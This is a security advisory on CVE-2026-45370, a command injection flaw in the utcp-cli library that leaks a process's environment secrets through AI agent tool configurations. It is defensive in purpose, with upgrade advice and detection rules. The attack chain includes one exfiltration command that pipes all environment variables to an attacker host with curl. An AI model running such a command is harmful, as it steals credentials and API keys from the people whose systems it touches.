python-utcp: Secrets Leakage via Command Injection
A command injection vulnerability in `utcp-cli` versions 1.1.1 and earlier allows attackers to exfiltrate all process-level secrets by injecting commands into CLI subprocesses.
The utcp-cli library, in versions 1.1.1 and earlier, is vulnerable to command injection (CVE-2026-45370) due to the insecure handling of environment variables passed to subprocesses. Specifically, the _prepare_environment() function copies the entire os.environ dictionary to CLI subprocesses. Combined with a separate command injection vulnerability (GHSA-33p6-5jxp-p3x4) in _substitute_utcp_args(), this design allows an attacker to inject commands that can access and exfiltrate sensitive information stored in environment variables. This includes cloud provider credentials, database connection strings, LLM API keys, and internal service tokens. This vulnerability allows full process environment leakage, enabling complete system compromise for AI agent deployments.
Attack Chain
- The attacker crafts a malicious tool configuration containing the command injection payload.
- The AI agent executes the tool, passing the malicious configuration to
utcp-cli. - The
_substitute_utcp_args()function fails to sanitize the attacker-supplied arguments, leading to command injection. - The
_prepare_environment()function copies the entireos.environto the subprocess environment. - The injected command executes with access to all environment variables.
- The injected command, such as
env | curl -s -d @- https://attacker.com, captures the environment variables and exfiltrates them to an attacker-controlled server. - The attacker receives the environment variables, including sensitive credentials and API keys.
Impact
Successful exploitation of this vulnerability allows an attacker to steal sensitive information, including cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET), database connection strings (DATABASE_URL), LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), and internal service tokens. The attacker can use these stolen credentials to gain unauthorized access to cloud resources, databases, LLM services, and internal systems. This can lead to data breaches, financial loss, and reputational damage.
Recommendation
- Upgrade to
utcp-cli >= 1.1.2to address the vulnerability and prevent environment variable leakage. - Monitor network traffic for suspicious outbound connections to unknown domains (e.g.,
https://attacker.comin the example) originating fromutcp-cliprocesses. - Implement the Sigma rule to detect command injection attempts in
utcp-cliprocesses by monitoring for suspicious shell metacharacters in command-line arguments.
Detection coverage 2
Detect Command Injection in utcp-cli
highDetects CVE-2026-45370 exploitation — Command injection attempts in utcp-cli by detecting shell metacharacters in command-line arguments.
Detect Command Injection in utcp-cli Windows
highDetects CVE-2026-45370 exploitation — Command injection attempts in utcp-cli by detecting shell metacharacters in command-line arguments.
Detection queries are available on the platform. Get full rules →
Indicators of compromise
1
url
| Type | Value |
|---|---|
| url | https://attacker.com |